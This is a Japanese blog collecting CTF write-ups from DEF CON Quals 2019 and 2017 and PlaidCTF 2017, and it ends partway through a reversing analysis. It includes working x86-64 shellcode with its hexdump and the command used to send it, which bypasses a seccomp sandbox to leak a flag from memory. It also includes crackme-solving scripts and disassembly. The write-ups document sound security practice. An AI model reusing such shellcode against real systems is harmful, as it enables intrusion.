amaga38のブログ

twitter: @amaga38

DEF CON CTF Qualifier 2019 write-up

5/11 0:00-5/13 0:00(UTC) に開催されたDEF CON CTF Qualifier 2019で解けた問題のwrite-upです。チーム名 whitecas でソロ参加し、310pts獲得して148位でした。

welcome_to_the_game

参加表明?的なフラグ提出。

Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :) If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D

Flag: OOO{Game on!}

cant_even_unplug_it

You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…

なにやらmilitary-grade-secrets.devサブドメインで提供していたWEBサービス?があったんだけど、ボスがびびってサーバーをネットワークから切り離したからコンテンツ見れんぞ。という設定の問題らしい。

とりあえず、subdomain のスキャナツールを探し、OWASPのツールでAmassというのを使ってみた。

結果

$ sudo docker run amass --passive -d military-grade-secrets.dev
secret-storage.military-grade-secrets.dev
now.under.even-more-militarygrade.pw.military-grade-secrets.dev
www.military-grade-secrets.dev

OWASP Amass v2.9.10                               https://github.com/OWASP/Amass
--------------------------------------------------------------------------------
3 names discovered - cert: 2, scrape: 1

secret-storage.military-grade-secrets.devにアクセスしてみると、forget-me-not.even-more-militarygrade.pw へ302リダイレクトされる。でもSYN/ACKが返ってこない。これがUnplugってことかな?

別の方法を考えてみてCensysでforget-me-not.even-more-militarygrade.pw IPv4アドレス206.189.162.22の検索を試してみる。

f:id:amaga38:20190511110201j:plain
censysの記録

Censysがアクセスしたときのコンテンツを記録してくれているみたいで、おっ!?と思い、HTTPコンテンツを覗いてみるとフラグがあった。

f:id:amaga38:20190511110045j:plain

cant_even_unplug_itのflag

Flag: OOO{DAMNATIO_MEMORIAE}

know_your_mem

pwn練習問題?Shellcodeを提出して、フラグを表示させれば勝ち。

問題ファイルは、練習用ファイル(simplified.c)と本番サーバーと同じソースファイル(know_your_mem.c) があり、練習用ファイルはヒント表示がある。ソースとしては一緒だが、simplified.cは、simplified_shellcode.so.cコンパイルしてできるsimplified_shellcode.soshellcodeという関数を呼び出し、know_your_mem.cは、標準入力からfreadしたshellcodeをメモリ上に格納し、処理をしてくれる。

フラグは、ファイルからreadした文字列を0x0000100000000000UL0x00001ffffffff000ULの間のランダムな場所にmmapで確保されたメモリー領域に格納されている。

コマンドプロンプトmake checkとすれば、shellcodeのテストができる。simplified.cはフラグが格納されているアドレスのポインタを突き止めればOK。know_your_mem.cは、そのポインタを利用してフラグを表示すればOK。

$ make check
 :
./topkt.py shellcode.bin
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.18.0-18-generic (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x107bfb3f9000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1631b4f87000
[H] Red herring at 0x191914eea000
 :
[H] Red herring at 0x1cd4c7262000
[H] Red herring at 0x171470311000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[*] Your shellcode returned 0x107bfb3f9000
[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
Good, the simplified version worked! Let's now try raw shellcode...
./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}'
[ ] Putting the flag somewhere in memory...
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
[*] Your shellcode returned 0x19900cd26000

フラグ文字列を指すポインタを求める処理は↓のように書いた。ポインタは、mmapの返却値としてstack上に一時保存していた値が残っているので、stack上の値を適当に検索して、保存対象のアドレス範囲を指すポインタ値っぽいかどうか雑に比較して求めた。

// This is an example of turning simple C into raw shellcode.

// make shellcode.bin will compile to assembly
// make shellcode.bin.pkt will prepend the length so you can
//    ./know_your_mem < shellcode.bin.pkt

// Note: Right now the 'build' does not support .(ro)data
//       If you want them you'll have to adjust the Makefile.
//       They're not really necessary to solve this challenge though.


// From https://chromium.googlesource.com/linux-syscall-support/
static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL

void* _start()
{
    //sys_write(1, __builtin_frame_address(0), 5);  // Prints something (note: best avoid literals)
    //sys_exit_group(2);                            // Exit

    void **pt;

    pt = (void**)(((unsigned long)&pt) - 0x100);
    while (1){
        if ((unsigned long)*pt < 0x00001ffffffff000UL
            && (unsigned long)*pt > ADDR_MIN) {
            return *pt;
        }
        pt = (void**)((unsigned long)pt + 0x4);
    }

    return (void*)0x1234;
}

know_your_mem (フラグの出力)

Makefileの処理でshellcode.cに書かれた処理がコンパイルされ、know_your_memに送るshellcodeが作成される。shellcode.c -> shellcode.elf -> shellcode.bin.pkt という風にshellcodeが作成されている。(※shellcode.bin.pktの先頭2バイトはshellcodeの長さを表すunsigned short) make処理では、↑で書いたポインタを求める処理だけコンパイルし、そして、know_your_mem.cで特定したメモリアドレスをwriteするshellcode部分は以下のように書いて、↑で作成したshellcode.bin.pktに追加して最終的なshellcodeを作成した。(system callでwriteを呼び出している)

4D 31 D2            XOR R10, R10
48 C7 C2 50000000   MOV RDX, 50
48 89 C6            MOV RSI, RAX
48 C7 C7 00000000   MOV RDI, 0
50                  PUSH RAX
49 8D 42 01         LEA RAX, QWORD PTR [R10+1]
0F 05               SYSCALL
58                  POP RAX

最終的にサーバーへ送信したshellcodeは以下のようになった。

00000000  59 00 48 8d 84 24 f8 fe  ff ff 48 b9 ff ff ff ff  |Y.H..$....H.....|
00000010  ff ef ff ff 48 be fe ef  ff ff ff 0f 00 00 48 89  |....H.........H.|
00000020  44 24 f8 48 8b 54 24 f8  48 8b 02 48 8d 3c 08 48  |D$.H.T$.H..H.<.H|
00000030  39 f7 76 0b 48 83 c2 04  48 89 54 24 f8 eb e4 4d  |9.v.H...H.T$...M|
00000040  31 d2 48 c7 c2 50 00 00  00 48 89 c6 48 c7 c7 00  |1.H..P...H..H...|
00000050  00 00 00 50 49 8d 42 01  0f 05 58 c3              |...PI.B...X.|

送信結果

ubuntu@ubuntu-VirtualBox:/media/sf_onedrive_ctf/DEFCON_2019/first_contact/know_your_mem$ cat shellcode1.bin.pkt | nc know_your_mem.quals2019.oooverflow.io 4669
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64)
Send the length (uint16), then the shellcode.
[ ] All right, I read 89 bytes. I will call the first byte in a bit.
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 36 bytes)
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
OOO{so many bits, so many syscalls}

Flag: OOO{so many bits, so many syscalls}

以上でっす。

DEF CON CTF Qualifier 2017 write-up

4/29 0:00-5/1 0:00(UTC) に開催されたDEF CON CTF Qualifier 2017で解けた問題のwrite-upです。
チーム名 CTF-infinitとして参加し、43pts獲得して173位でした。

crackme1 (Baby'sFirst)

crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me:10001
[https://2017.notmalware.ru/add6a6232ea1e9d42b925a7d2a2c5781bfccd6fd/8a97fb8c264a3b34dad0a707dbfc92832067a0fa0f2b5a576c73557960b11506.tar.bz2]

x86-64のELFが提供され、リモートに繋いでみると何か答えをBase64で送れと言われる。

$ file magic_dist
magic_dist: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped

$ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline

とりあえずELFファイルを逆アセンブルし、解析

$ objdump -D -Mintel magic_dist > magic_dist.asm

c6cから始まる関数を見てみると955, 971など細かく関数をcallしている。
引数(rdi)に渡しているアドレスは、1バイトずつずらしている。

 c6c:	55                   	push   rbp
 c6d:	53                   	push   rbx
 c6e:	48 89 fd             	mov    rbp,rdi
 c71:	48 83 ec 08          	sub    rsp,0x8
 c75:	48 0f be 3f          	movsx  rdi,BYTE PTR [rdi]
 c79:	e8 bd fc ff ff       	call   93b <_init+0x243>
 c7e:	48 0f be 7d 01       	movsx  rdi,BYTE PTR [rbp+0x1]
 c83:	48 c1 f8 03          	sar    rax,0x3
 c87:	48 89 c3             	mov    rbx,rax
 c8a:	e8 c6 fc ff ff       	call   955 <_init+0x25d>
 c8f:	48 0f be 7d 02       	movsx  rdi,BYTE PTR [rbp+0x2]
 c94:	48 01 c3             	add    rbx,rax
 c97:	48 c1 fb 03          	sar    rbx,0x3
 c9b:	e8 d1 fc ff ff       	call   971 <_init+0x279>
 ca0:	48 0f be 7d 03       	movsx  rdi,BYTE PTR [rbp+0x3]
 ca5:	48 01 c3             	add    rbx,rax
 ca8:	48 c1 fb 03          	sar    rbx,0x3
 cac:	e8 da fc ff ff       	call   98b <_init+0x293>
 cb1:	48 0f be 7d 04       	movsx  rdi,BYTE PTR [rbp+0x4]
 cb6:	48 01 c3             	add    rbx,rax
 cb9:	48 c1 fb 03          	sar    rbx,0x3
 cbd:	e8 e3 fc ff ff       	call   9a5 <_init+0x2ad>
 cc2:	48 0f be 7d 05       	movsx  rdi,BYTE PTR [rbp+0x5]
  :

呼び出されている関数の中身を見てみると、引数(rdi)と1バイト比較。
イコールならeaxに値を代入してret。notイコールのときに呼ばれる758は、<.plt.got>セクションにあるし、exit関数っぽい。とりあえず比較している1バイトを集める。

   :
 93b:	48 83 ff 79          	cmp    rdi,0x79 ; "y"
 93f:	74 0e                	je     94f <_init+0x257>
 941:	48 83 ec 08          	sub    rsp,0x8
 945:	bf 01 00 00 00       	mov    edi,0x1
 94a:	e8 09 fe ff ff       	call   758 <_init+0x60>
 94f:	b8 a7 00 00 00       	mov    eax,0xa7
 954:	c3                   	ret    

 955:	48 83 ff 65          	cmp    rdi,0x65 ; "e"
 959:	74 0e                	je     969 <_init+0x271>
 95b:	48 83 ec 08          	sub    rsp,0x8
 95f:	bf 02 00 00 00       	mov    edi,0x2
 964:	e8 ef fd ff ff       	call   758 <_init+0x60>
 969:	48 c7 c0 9b ff ff ff 	mov    rax,0xffffffffffffff9b
 970:	c3                   	ret    

 971:	48 83 ff 73          	cmp    rdi,0x73 ; "s"
 975:	74 0e                	je     985 <_init+0x28d>
 977:	48 83 ec 08          	sub    rsp,0x8
 97b:	bf 03 00 00 00       	mov    edi,0x3
 980:	e8 d3 fd ff ff       	call   758 <_init+0x60>
 985:	b8 a0 00 00 00       	mov    eax,0xa0
 98a:	c3                   	ret    
   :

集めた文字を連結すると、"yes and his hands shook with ex"という文字列になった。試しにBase64エンコードして送信してみたらフラグだった。

$ echo "yes and his hands shook with ex" | base64 | nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline
4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
The flag is: important videos best playlist Wigeekuk8

magic (CrackMe_2000)

cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me:12001

[https://2017.notmalware.ru/5e1d5bc4e73657be1b008fbb6b08a7604e81d7cb/91ae7f2ec76f00975849c44b3d8ec8ed897fab7335c156d949bd15ea156338b3.tar.bz2]

解凍するとx86-64のELFが200個ほどあった。とりあえず逆アセンブルして眺めてみたところ、crackme1と同じ形式なことがわかった。

       :
     93b:	48 83 ff 64          	cmp    rdi,0x64 ; d
     93f:	74 0e                	je     94f <_init+0x257>
     941:	48 83 ec 08          	sub    rsp,0x8
     945:	bf 01 00 00 00       	mov    edi,0x1
     94a:	e8 09 fe ff ff       	call   758 <_init+0x60>
     94f:	b8 6c 00 00 00       	mov    eax,0x6c
     954:	c3                   	ret    
     
     955:	48 83 ff 65          	cmp    rdi,0x65 ; e
     959:	74 0e                	je     969 <_init+0x271>
     
     95b:	48 83 ec 08          	sub    rsp,0x8
     95f:	bf 02 00 00 00       	mov    edi,0x2
     964:	e8 ef fd ff ff       	call   758 <_init+0x60>
     969:	b8 49 00 00 00       	mov    eax,0x49
     96e:	c3                   	ret    
     
     96f:	48 83 ff 2e          	cmp    rdi,0x2e ; .
     973:	74 0e                	je     983 <_init+0x28b>
     975:	48 83 ec 08          	sub    rsp,0x8
     979:	bf 03 00 00 00       	mov    edi,0x3
     97e:	e8 d5 fd ff ff       	call   758 <_init+0x60>
     983:	b8 72 00 00 00       	mov    eax,0x72
     988:	c3                   	ret    
      :
     df6:	55                   	push   rbp
     df7:	53                   	push   rbx
     df8:	48 89 fd             	mov    rbp,rdi
     dfb:	48 83 ec 08          	sub    rsp,0x8
     dff:	48 0f be 3f          	movsx  rdi,BYTE PTR [rdi]
     e03:	e8 33 fb ff ff       	call   93b <_init+0x243>
     
     e08:	48 0f be 7d 01       	movsx  rdi,BYTE PTR [rbp+0x1]
     e0d:	48 c1 f8 03          	sar    rax,0x3 ; 0x6c >> 0x3 = 0xd
     e11:	48 89 c3             	mov    rbx,rax
     e14:	e8 3c fb ff ff       	call   955 <_init+0x25d>
     
     e19:	48 0f be 7d 02       	movsx  rdi,BYTE PTR [rbp+0x2]
     e1e:	48 01 c3             	add    rbx,rax
     e21:	48 c1 fb 03          	sar    rbx,0x3
     e25:	e8 45 fb ff ff       	call   96f <_init+0x277>
     e2a:	48 0f be 7d 03       	movsx  rdi,BYTE PTR [rbp+0x3]
       :

200個を手作業でやるわけにはいかないので、pythonで自動収集するプログラムを作成。
問題の文字列収集は、比較部分のニーモニック(cmp rdi,0xXX)に該当する機械語が"48 83 ff XX"だったので、逆アセンブル結果から該当する機械語を含む行だけ抽出したら、うまいぐあいに文字の比較部分だけ抽出できた。最終的な回答コードが以下になった。

#!/usr/bin/python
import os
import re
import glob
import base64
import subprocess
import socket

def read_data(f, delim="\n"):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data


def make_ans(fname, data):
    data = data.split("\n")
    cmp = ""
    for d in data:
        if  "\t48 83 ff " not in d:
            continue
        a = d.split(",")[1]
        a = chr(int(a, 16))
        print d, "; ", a
        
        cmp += a
    
    print fname
    print "[+]str: ", cmp
    print "[+]Base64: ", base64.b64encode(cmp)
    return base64.b64encode(cmp)


if __name__ == "__main__":
    # run objdump
    files = glob.glob("./magic_dist/*")
    ans_list = {}
    # collect ans
    for f in files:
        arg = ["objdump", "-d", "-Mintel", f]
        asm = subprocess.Popen(arg, stdout=subprocess.PIPE)
        data, err = asm.communicate()
        
        q = f.split("/")[2]
        ans_list[q] = make_ans(f, data)
    
    # connect to server
    host = "cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me"
    port = 12001
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    sf = s.makefile("rw", bufsize=0)
    while True:
        data = read_data(sf)
        print data
        if "flag" in data:
            break
        elif 'send your solution as base64, followed by a newline' in data:
            continue
        data = data.split("\n")[0]
        ans = ans_list[data]
        sf.write(ans + "\n")

コードとしては、Objdumpで逆アセンブル、その結果から"\t48 83 ff " を含む行を抽出。比較されているバイトを連結し、Base64エンコードして辞書作成。サーバーへの回答時は、サーバーからの質問をキーとしてエンコードしている回答を送信しているだけ。
何度か回答に成功するとフラグがもらえた。

 $ ./solve.py
 93b:   48 83 ff 64             cmp    rdi,0x64 ;  d
 955:   48 83 ff 6f             cmp    rdi,0x6f ;  o
 96f:   48 83 ff 63             cmp    rdi,0x63 ;  c
 989:   48 83 ff 74             cmp    rdi,0x74 ;  t
 9a3:   48 83 ff 6f             cmp    rdi,0x6f ;  o
 9bd:   48 83 ff 72             cmp    rdi,0x72 ;  r
 9d7:   48 83 ff 20             cmp    rdi,0x20 ;   
 9f3:   48 83 ff 63             cmp    rdi,0x63 ;  c
 a0d:   48 83 ff 61             cmp    rdi,0x61 ;  a
 a27:   48 83 ff 6d             cmp    rdi,0x6d ;  m
 a41:   48 83 ff 65             cmp    rdi,0x65 ;  e
 a5b:   48 83 ff 20             cmp    rdi,0x20 ;   
 a75:   48 83 ff 69             cmp    rdi,0x69 ;  i
 a8f:   48 83 ff 6e             cmp    rdi,0x6e ;  n
 aa9:   48 83 ff 2c             cmp    rdi,0x2c ;  ,
 ac3:   48 83 ff 20             cmp    rdi,0x20 ;   
 adf:   48 83 ff 73             cmp    rdi,0x73 ;  s
 af9:   48 83 ff 68             cmp    rdi,0x68 ;  h
 b13:   48 83 ff 61             cmp    rdi,0x61 ;  a
 b2d:   48 83 ff 6b             cmp    rdi,0x6b ;  k
 b47:   48 83 ff 69             cmp    rdi,0x69 ;  i
 b61:   48 83 ff 6e             cmp    rdi,0x6e ;  n
 b7b:   48 83 ff 67             cmp    rdi,0x67 ;  g
 b95:   48 83 ff 20             cmp    rdi,0x20 ;   
 bb1:   48 83 ff 68             cmp    rdi,0x68 ;  h
 bcb:   48 83 ff 69             cmp    rdi,0x69 ;  i
 be5:   48 83 ff 73             cmp    rdi,0x73 ;  s
 c01:   48 83 ff 20             cmp    rdi,0x20 ;   
 c1b:   48 83 ff 68             cmp    rdi,0x68 ;  h
 c35:   48 83 ff 65             cmp    rdi,0x65 ;  e
 c4f:   48 83 ff 61             cmp    rdi,0x61 ;  a
 c69:   48 83 ff 64             cmp    rdi,0x64 ;  d
 c83:   48 83 ff 2e             cmp    rdi,0x2e ;  .
 c9f:   48 83 ff 20             cmp    rdi,0x20 ;   
 cbb:   48 83 ff 22             cmp    rdi,0x22 ;  "
 cd5:   48 83 ff 57             cmp    rdi,0x57 ;  W
 cef:   48 83 ff 65             cmp    rdi,0x65 ;  e
 d0b:   48 83 ff 6c             cmp    rdi,0x6c ;  l
./magic_dist/e005a1973167b4cf47100c81bca178b98646a128e05a6beb804226888be3f344
[+]str:  doctor came in, shaking his head. "Wel
[+]Base64:  ZG9jdG9yIGNhbWUgaW4sIHNoYWtpbmcgaGlzIGhlYWQuICJXZWw=
 :
send your solution as base64, followed by a newline

c0d5312126c2a52cb23f91694a22ba32284e59336fb5176ed92dc1cd23b62655
  :
省略
  :
be422c4d780fcc9f29d01283ad76088529af9b4dc7a69c3bb9979fb51a23824e

The flag is: a color map of the sun sokemsUbif

解けた問題は以上です。力不足感が半端ないので、もっと精進したい。

PlaidCTF 2017 write-up

4/22-23に開催されたPlaidCTF 2017で解けた問題のwrite-upです。
チーム名 CTFinfinitとして参加し、226pts獲得して185位でした。

sanity check (Misc/1pts)

The flag is PCTF{poop}

テスト問題なので、フラグ投稿するだけ。

zipper (Misc/50pts)

Something doesn't seem quite right with this zip file. 
Can you fix it and get the flag?

とりあえずzipinfoでは "filename too long" と出力される。

ubuntu@zipper$ zipinfo zipper.zip 
Archive:  zipper.zip
Zip file size: 236 bytes, number of entries: 1
warning:  filename too long--truncating.
-rw-rw-r--  3.0 unx      246 tx defX 17-Apr-18 19:15

バイナリエディタで眺めてみると、0x2329 となっていて確かにファイル名長さの値が大きすぎる。また、ファイル名が入りそうな領域がすべて 0x00 になっている。
f:id:amaga38:20170424234027p:plain
8文字分だったので、適当にファイル名を flag.txt として値を修正。
f:id:amaga38:20170424234406p:plain
あとは、修正したファイルを展開して中のファイルを閲覧して終わり。

Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}    

Down the Reversing Hole (Misc/50pts)

Don't forget. This is a MISC challenge. 

MISCチャレンジということで、実行ファイルに何か隠されているだろうとバイナリを眺めてみたらMZスタブが普通の実行ファイルに比べて大きい。あからさまに何かある。


f:id:amaga38:20170424230758p:plain
MZスタブはMS-DOSとの互換性のための処理らしい*1ので、IDA freeで実行ファイルをDOSプログラムとして解析させてみる。

f:id:amaga38:20170424225533p:plain

f:id:amaga38:20170424225027p:plain
解析結果は割と小さく、どうやらデータをXORしているだけらしい。

seg000:0000                         public start
seg000:0000                         start proc near
seg000:0000 B8 03 00                mov     ax, seg dseg
seg000:0003 8E D8                   mov     ds, ax
seg000:0005                         assume ds:dseg
seg000:0005 8D 16 00 00             lea     dx, unk_30
seg000:0009 B4 09                   mov     ah, 9 ; Write string to STDOUT
seg000:000B CD 21                   int     21h             ; DOS - PRINT STRING
seg000:000B                                                 ; DS:DX -> string terminated by "$"
seg000:000D B9 00 00                mov     cx, 0

seg000:0010
seg000:0010                         loc_10:
seg000:0010 83 F9 39                cmp     cx, 39h ; '9' ; 39文字分
seg000:0013 74 17                   jz      short loc_

seg000:0015 8D 1E 2B 00             lea     bx, unk_5B ; 0x25B~
seg000:0019 03 D9                   add     bx, cx
seg000:001B 8A 17                   mov     dl, [bx]
seg000:001D 8D 1E 64 00             lea     bx, unk_94 ; 0x294~
seg000:0021 03 D9                   add     bx, cx
seg000:0023 32 17                   xor     dl, [bx]

seg000:0025 B4 02                   mov     ah, 2 ; Write character to STDOUT
seg000:0027 CD 21                   int     21h             ; DOS - DISPLAY OUTPUT
seg000:0027                                                 ; DL = character to send to standard output
seg000:0029 41                      inc     cx
seg000:002A EB E4                   jmp     short loc_10

seg000:002C
seg000:002C                         loc_2C:
seg000:002C B4 4C                   mov     ah, 4Ch ; Exit program
seg000:002E CD 21                   int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:002E                         start endp              ; AL = exit code
seg000:002E
seg000:002E                         seg000 ends

フラグを得るプログラムは以下のようになった。

#!/usr/bin/python

f = open("reversing-hole.exe", "rb")
data = f.read()
f.close()

f = open("flag.txt", "wb")
dl = data[0x25B:0x294]
bx = data[0x294:0x2CD]

for i in range(len(dl)):
    t = ord(dl[i]) ^ ord(bx[i])
    f.write(chr(t))
f.write("\n")
f.close()
ubuntu@misc$ ./solve.py; cat flag.txt 
But here's a flag PCTF{at_l3a5t_th3r3s_d00m_p0rts_0n_d0s}

no_mo_flo (Reversing/125pts)

Can you go with the flow?

とりあえず、逆アセンブル

objdump -D -Mintel no_flo > no_flo.asm

mainのアセンブリ

 ; main
  40272e:	55                   	push   rbp
  40272f:	48 89 e5             	mov    rbp,rsp
  402732:	48 81 ec b0 00 00 00 	sub    rsp,0xb0
  402739:	48 8d 45 d0          	lea    rax,[rbp-0x30]
  40273d:	ba 20 00 00 00       	mov    edx,0x20
  402742:	48 89 c6             	mov    rsi,rax
  402745:	bf 00 00 00 00       	mov    edi,0x0
  40274a:	e8 31 de ff ff       	call   400580 <read@plt>
  40274f:	89 45 f8             	mov    DWORD PTR [rbp-0x8],eax
  402752:	83 7d f8 20          	cmp    DWORD PTR [rbp-0x8],0x20 ; 32文字
  402756:	74 14                	je     40276c <strerror@plt+0x21ac>
  ; error;
	  402758:	bf 58 2d 40 00       	mov    edi,0x402d58
	  40275d:	e8 ee dd ff ff       	call   400550 <puts@plt>
	  402762:	b8 ff ff ff ff       	mov    eax,0xffffffff
	  402767:	e9 9b 00 00 00       	jmp    402807 <strerror@plt+0x2247>
  ; for 
  40276c:	c7 45 fc 00 00 00 00 	mov    DWORD PTR [rbp-0x4],0x0
  402773:	eb 3a                	jmp    4027af <strerror@plt+0x21ef>
	  402775:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402778:	01 c0                	add    eax,eax
	  40277a:	48 98                	cdqe   
	  40277c:	0f b6 44 05 d0       	movzx  eax,BYTE PTR [rbp+rax*1-0x30]
	  402781:	0f be d0             	movsx  edx,al
	  402784:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402787:	48 98                	cdqe   
	  402789:	89 94 85 50 ff ff ff 	mov    DWORD PTR [rbp+rax*4-0xb0],edx
	  
	  402790:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402793:	01 c0                	add    eax,eax
	  402795:	83 c0 01             	add    eax,0x1
	  402798:	48 98                	cdqe   
	  40279a:	0f b6 44 05 d0       	movzx  eax,BYTE PTR [rbp+rax*1-0x30]
	  40279f:	0f be d0             	movsx  edx,al
	  4027a2:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  4027a5:	48 98                	cdqe   
	  4027a7:	89 54 85 90          	mov    DWORD PTR [rbp+rax*4-0x70],edx
	  4027ab:	83 45 fc 01          	add    DWORD PTR [rbp-0x4],0x1
	  
	  4027af:	83 7d fc 0f          	cmp    DWORD PTR [rbp-0x4],0xf
	  4027b3:	7e c0                	jle    402775 <strerror@plt+0x21b5>
  ; }

  4027b5:	b8 00 00 00 00       	mov    eax,0x0
  4027ba:	e8 b8 04 00 00       	call   402c77 <strerror@plt+0x26b7>
 
  ; [rbp-0xb0]のチェック
  4027bf:	48 8d 85 50 ff ff ff 	lea    rax,[rbp-0xb0]
  4027c6:	48 89 c7             	mov    rdi,rax
  4027c9:	e8 f8 de ff ff       	call   4006c6 <strerror@plt+0x106>
  4027ce:	89 45 f4             	mov    DWORD PTR [rbp-0xc],eax
  ; [rbp-0x70]のチェック
  4027d1:	48 8d 45 90          	lea    rax,[rbp-0x70]
  4027d5:	48 89 c7             	mov    rdi,rax
  4027d8:	e8 3b e7 ff ff       	call   400f18 <strerror@plt+0x958>
  4027dd:	89 45 f0             	mov    DWORD PTR [rbp-0x10],eax

  4027e0:	83 7d f4 00          	cmp    DWORD PTR [rbp-0xc],0x0
  4027e4:	74 12                	je     4027f8 <strerror@plt+0x2238>
  4027e6:	83 7d f0 00          	cmp    DWORD PTR [rbp-0x10],0x0
  4027ea:	74 0c                	je     4027f8 <strerror@plt+0x2238>

  4027ec:	bf 65 2d 40 00       	mov    edi,0x402d65 ; "Good flow!!"
  4027f1:	e8 5a dd ff ff       	call   400550 <puts@plt>
  4027f6:	eb 0a                	jmp    402802 <strerror@plt+0x2242>

  4027f8:	bf 78 2d 40 00       	mov    edi,0x402d78 ; "You aint goin with the flow...."
  4027fd:	e8 4e dd ff ff       	call   400550 <puts@plt>
  402802:	b8 00 00 00 00       	mov    eax,0x0
  402807:	c9                   	leave  
  402808:	c3                   	ret    

main関数はなんとなくこんな感じ。
readで標準入力から読み込んだデータを2つのバッファへ交互に格納。
f_4006c6()、f_400f18()でそれぞれ入力されたデータのチェック。両関数の戻り値が0でなければ、Good flow!!が出力される流れ。なので、おそらく入力データがフラグになるだろうと予想。

int main( ) {
    int i; // rbp-0x4
    int var_0xc, var_0x10;
    char buff_0x30[33], buff_0x70[16], buff_0xb0[16];
    
    if (0x20 != read(0, buff_0x30, 0x20)) {
        return -1;
    }
    for (i=0; i<=0xf; i++) {
        buff_0xb0[i*4] = buff_0x30[2 * i];
        buff_0x70[i*4] = buff_0x30[(2 * i) + 1];
    }

    f_402c77();

    var_0xc = f_4006c6(buff_0xb0);
    var_0x10 = f_400f18(buff_0x70);

    if (var_0xc == 0 || var_0x10 == 0) {
        puts("You aint goin with the flow....");
    } else {
        puts("Good flow!!");
    }
    return 0;
}

f_4006c6の処理は、単純でcmpの結果 je されるルート(比較結果がイコール)になる入力を求める。
関数の返却値は、r8dレジスタに格納され、NGの文字が入力されていた場合、r8dに0が格納される。

  :
  4006f6:	8b 3a                	mov    edi,DWORD PTR [rdx] ; データ
  4006f8:	89 fa                	mov    edx,edi
  4006fa:	83 c2 05             	add    edx,0x5 ; データに5が加わる↓
  4006fd:	89 d7                	mov    edi,edx
  4006ff:	83 ff 55             	cmp    edi,0x55 ; 0x50 = "P" ↑で5加わっているので、入力は減算
  400702:	4c 8d 1c 25 30 07 40 	lea    r11,ds:0x400730 ; OKの場合の次のアドレス
  400709:	00 
  40070a:	0f 84 00 08 00 00    	je     400f10 <strerror@plt+0x950> ; OK
  400710:	4c 8d 1c 25 1d 07 40 	lea    r11,ds:0x40071d ; ↓でjmpして戻ってくるアドレス
  400717:	00 
  400718:	e9 f3 07 00 00       	jmp    400f10 <strerror@plt+0x950> ; 一旦jmpして戻ってくる
  40071d:	41 b8 00 00 00 00    	mov    r8d,0x0 ; NG
  400723:	4c 8d 1c 25 3d 07 40 	lea    r11,ds:0x40073d
  :

f_400f18の処理は、f_402c77でsigaction@pltで登録されたシグナル処理を利用してデータチェックをしている。
sigactionでは、SIGFPEのシグナル時の処理として、f_4005a0が登録されている。SIGFPEは浮動小数点例外(0除算処理)時のシグナル。
sigemptyset@plt に渡す前にsa_flagsにSA_SIGINFOを指定しているので、シグナルハンドラーが呼び出される際の引数として、最初の引き数としてシグナル番号を、二番目の引き数として siginfo_t へのポインターを、三番目の引き数として (void * にキャストした) ucontext_t へのポインターを受けとる。*2

  402c77:	55                   	push   rbp
  402c78:	48 89 e5             	mov    rbp,rsp
  402c7b:	48 81 ec a0 00 00 00 	sub    rsp,0xa0
  402c82:	c7 45 e8 04 00 00 00 	mov    DWORD PTR [rbp-0x18],0x4 ; SA_SIGINFO
  402c89:	48 c7 85 60 ff ff ff 	mov    QWORD PTR [rbp-0xa0],0x402b06
  402c90:	06 2b 40 00 
  402c94:	48 8d 85 60 ff ff ff 	lea    rax,[rbp-0xa0]
  402c9b:	48 83 c0 08          	add    rax,0x8
  402c9f:	48 89 c7             	mov    rdi,rax
  402ca2:	e8 f9 d8 ff ff       	call   4005a0 <sigemptyset@plt> ; 初期化
  402ca7:	48 8d 85 60 ff ff ff 	lea    rax,[rbp-0xa0]
  402cae:	ba 00 00 00 00       	mov    edx,0x0 ; struct sigaction *old
  402cb3:	48 89 c6             	mov    rsi,rax ; struct sigaction *act
  402cb6:	bf 08 00 00 00       	mov    edi,0x8 ; SIGFPE
  402cbb:	e8 a0 d8 ff ff       	call   400560 <sigaction@plt>
  402cc0:	c9                   	leave  
  402cc1:	c3                   	ret    

チェック処理は、400f84にあるようにワザと0除算をして、SIGFPEに登録したシグナルハンドラを呼び出している。シグナルハンドラーの結果がOKだったら、0x603340にjmp先のアドレスが返却されてくる。
